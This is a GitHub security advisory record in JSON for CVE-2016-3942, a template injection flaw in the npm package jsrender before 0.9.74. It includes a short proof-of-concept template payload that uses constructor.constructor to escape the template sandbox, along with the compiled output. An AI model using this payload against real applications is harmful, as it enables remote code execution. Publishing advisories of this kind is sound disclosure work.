{"id":"GHSA-r87w-47m8-22w3","summary":"Template Injection in jsrender","details":"Affected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.\n\n## Proof of Concept\n\n\n```js\n//POC-REQUEST\n{{for ~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)}}\n{{:#data}}\n{{/for}}\n```\n\n```js\n//POC-RESPONSE\nfunction anonymous(data,view,j,u) { // template var v,t=j._tag,ret=\"\" +t(\"for\",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\\\"return arguments.callee.caller\\\")()):~y(10)']}, args:[view.hlp(\"x\")!=1?(data.constructor.constructor(\"return arguments.callee.caller\")()):view.hlp(\"y\")(10)], props:{}}]); return ret; } \n```\n\n\n## Recommendation\n\nUpdate to version 0.9.74 or later.","aliases":["CVE-2016-3942"],"modified":"2023-11-08T03:58:27.633161Z","published":"2020-09-01T15:24:24Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2020-08-31T18:10:44Z","nvd_published_at":null,"cwe_ids":["CWE-94"],"severity":"MODERATE"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-3942"},{"type":"WEB","url":"https://github.com/BorisMoore/jsrender/commit/f984e139deb0a7648d5b543860ec652c21f6dcf6"},{"type":"PACKAGE","url":"https://github.com/BorisMoore/jsrender"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-DOTNET-JSRENDER-60173"},{"type":"WEB","url":"https://www.npmjs.com/advisories/97"}],"affected":[{"package":{"name":"jsrender","ecosystem":"npm","purl":"pkg:npm/jsrender"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.9.74"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-r87w-47m8-22w3/GHSA-r87w-47m8-22w3.json","last_known_affected_version_range":"\u003c= 0.9.73"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"}]}